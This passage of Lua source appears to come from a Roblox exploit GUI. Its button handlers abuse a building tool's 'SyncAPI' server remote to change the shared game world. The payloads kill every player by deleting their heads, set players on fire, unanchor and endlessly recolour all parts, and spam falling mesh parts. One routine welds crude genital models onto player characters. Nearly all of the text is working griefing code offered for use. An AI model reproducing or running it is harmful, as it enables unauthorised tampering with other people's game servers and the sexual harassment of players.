function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Material(v,Enum.Material.Grass)
Color(v,Color3.fromRGB(25,100,25))
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end;
task.spawn(C_103);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_105()
local script = G2L["105"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end;
task.spawn(C_105);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_107()
local script = G2L["107"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(20,20,20))
SetMesh(v,"1618237875")
SetTexture(v, "1618237897")
SetCollision(v,false)
else
end
end
end)
end
end)
end;
task.spawn(C_107);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_109()
local script = G2L["109"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = workspace.Part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function Fire(player)
for i,v in player.Character:GetDescendants() do
if v:IsA("BasePart") then
AddFire(v)
end
end
DestroyPart(player.Character.Head)
end
for i,v in game.Players:GetPlayers() do
spawn(function()
pcall(function()
Fire(v)
end)
end)
end
end)
end;
task.spawn(C_109);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_10b()
local script = G2L["10b"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function KillAll()
for i,v in game.Players:GetPlayers() do
spawn(function()
SetLocked(v.Character.Head,false)
DestroyPart(v.Character.Head)
end)
end
end
KillAll()
end)
end;
task.spawn(C_10b);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_10d()
local script = G2L["10d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function BigHead(player)
local chara = player.Character
spawn(function()
SetLocked(chara.Head,false)
MeshResize(chara.Head,Vector3.new(10,10,10))
end)
end
for i,players in game.Players:GetPlayers() do
BigHead(players)
end
end)
end;
task.spawn(C_10d);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_10f()
local script = G2L["10f"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function randomise()
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
Color(v,Color3.new(math.random(0,255),math.random(0,255),math.random(0,255)))
end)
end
end
end
while wait() do
spawn(function()
randomise()
end)
end
end)
end;
task.spawn(C_10f);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_111()
local script = G2L["111"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Penis(player)
char = player.Character
for i,v in char:GetChildren() do
pcall(function()
SetLocked(v,false)
end)
end
if player.Character:FindFirstChild("Penis") then
return
else
SetAnchor(true,player.Character.HumanoidRootPart)
spawn(function()
CreatePart(player.Character:WaitForChild("Right Leg").CFrame * CFrame.new(-0.8,1,-0.6),player.Character)
SetName(player.Character.Part,"Balls1")
CreatePart(player.Character:WaitForChild("Left Leg").CFrame * CFrame.new(0.8,1,-0.6),player.Character)
SetName(player.Character.Part,"Balls2")
end)
wait(0.2)
repeat wait() until char:FindFirstChild("Balls2")
print("done")
spawn(function()
CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-1.3),player.Character)
SetName(player.Character.Part,"Penis")
CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-2.5),player.Character)
SetName(player.Character.Part,"Head1")
end)
repeat wait() until char:FindFirstChild("Head1")
spawn(function()
AddMesh(char.Balls1)
AddMesh(char.Balls2)
AddMesh(char.Head1)
AddMesh(char.Penis)
end)
repeat wait() until char.Penis:FindFirstChild("Mesh")
spawn(function()
SetMesh(char.Penis,"4743972117")
SetMesh(char.Head1,"4743972117")
MeshResize(char.Penis,Vector3.new(0.5,0.5,3))
MeshResize(char.Head1,Vector3.new(0.5,0.5,1))
end)
spawn(function()
Weld(char.Penis,char.HumanoidRootPart,char.Penis)
SetMesh(char.Balls1,"5697933202")
SetMesh(char.Balls2,"5697933202")
MeshResize(char.Balls1,Vector3.new(0.2,0.2,0.2))
MeshResize(char.Balls2,Vector3.new(0.2,0.2,0.2))
end)
wait(0.2)
pcall(function()
Color(char.Balls1,char:WaitForChild("Torso").Color)
Color(char.Balls2,char:WaitForChild("Torso").Color)
Color(char.Penis,char:WaitForChild("Torso").Color)
Color(char.Head1, Color3.fromRGB(255,100,100))
end)
wait(0.2)
spawn(function()
SetCollision(player.Character.Balls1,false)
SetCollision(player.Character.Balls2,false)
SetCollision(player.Character.Penis,false)
SetCollision(player.Character.Head1,false)
end)
wait(0.2)
spawn(function()
Weld(char.Balls1,char.HumanoidRootPart,char.Balls1)
Weld(char.Balls2,char.Balls1,char.Balls2)
Weld(char.Head1,char.Penis,char.Head1)
end)
wait(0.2)
spawn(function()
SetAnchor(false,char.Balls1)
SetAnchor(false,char.Balls2)
SetAnchor(false,char.Penis)
SetAnchor(false,char.Head1)
SetAnchor(false,char.HumanoidRootPart)
end)
repeat wait()
SetAnchor(false,char.HumanoidRootPart)
SetAnchor(false,char.Balls1)
SetAnchor(false,char.Balls2)
SetAnchor(false,char.Penis)
SetAnchor(false,char.Head1)
until char.Head1.Anchored == false
end
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
--pcall(function()
Penis(player)
--end)
--end)
end
end)
end;
task.spawn(C_111);
-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
local function C_113()
local script = G2L["113"];
local button = script.Parent
local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
